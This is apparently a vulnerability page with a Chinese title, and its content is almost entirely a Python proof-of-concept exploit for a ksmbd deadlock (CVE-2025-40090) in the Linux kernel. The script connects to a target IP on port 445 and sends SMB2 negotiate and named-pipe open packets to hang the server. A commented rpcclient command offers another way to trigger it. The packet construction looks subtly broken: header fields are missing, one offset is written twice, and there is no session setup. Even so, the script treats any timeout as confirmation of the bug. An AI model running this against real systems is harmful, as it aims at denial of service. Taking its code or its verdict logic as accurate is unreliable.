CVE-2025-40090: Linux内核ksmbd递归锁定死锁漏洞

#!/usr/bin/env python3 """ CVE-2025-40090 PoC - ksmbd Deadlock Vulnerability This PoC demonstrates the deadlock vulnerability in Linux kernel ksmbd module. Triggered when a client attempts to open a named pipe with recursive locking issue. """ import socket import struct import time def create_smb2_negotiate_request(): """Create SMB2 NEGOTIATE request packet""" # SMB2 Header protocol_id = b'\xfe\x53\x4d\x42' # SMB2 signature header = bytearray(64) struct.pack_into('<I', header, 0, 0x424d53fe) # Protocol ID struct.pack_into('<H', header, 16, 0x0000) # Negotiate request struct.pack_into('<H', header, 18, 1) # Credit request struct.pack_into('<I', header, 28, 0x24) # Byte count return bytes(header) def create_pipe_open_request(): """ Create SMB2 CREATE request for named pipe This triggers the deadlock in ksmbd_session_rpc_open -> ksmbd_rpc_open -> ksmbd_session_rpc_method """ pipe_name = b'\\\\pipe\\\\srvsvc\x00' # Named pipe path request = bytearray(64 + len(pipe_name)) struct.pack_into('<H', request, 44, 0x05) # CREATE request # File name offset and length struct.pack_into('<H', request, 44, len(pipe_name)) return bytes(request) def trigger_deadlock(target_ip, target_port=445): """ Trigger the deadlock vulnerability Note: This PoC requires valid SMB authentication to trigger the full attack chain """ print(f"[*] Connecting to {target_ip}:{target_port}") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Send NEGOTIATE request negotiate_req = create_smb2_negotiate_request() sock.send(negotiate_req) print("[+] Sent SMB2 NEGOTIATE request") # Send CREATE request for named pipe # This will trigger the deadlock in ksmbd pipe_req = create_pipe_open_request() sock.send(pipe_req) print("[+] Sent pipe open request - deadlock should occur") # Wait for response (will hang if vulnerability is present) print("[*] Waiting for response...") sock.settimeout(5) try: response = sock.recv(1024) print(f"[!] Received unexpected response: {len(response)} bytes") except socket.timeout: print("[!] Connection timed out - deadlock vulnerability confirmed!") return True except Exception as e: print(f"[-] Error: {e}") return False finally: sock.close() # Alternative: Use Samba's rpcclient (as mentioned in CVE description) # rpcclient //192.168.1.254 -U user%password # rpcclient $> srvinfo if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 cve-2025-40090-poc.py <target_ip>") sys.exit(1) trigger_deadlock(sys.argv[1])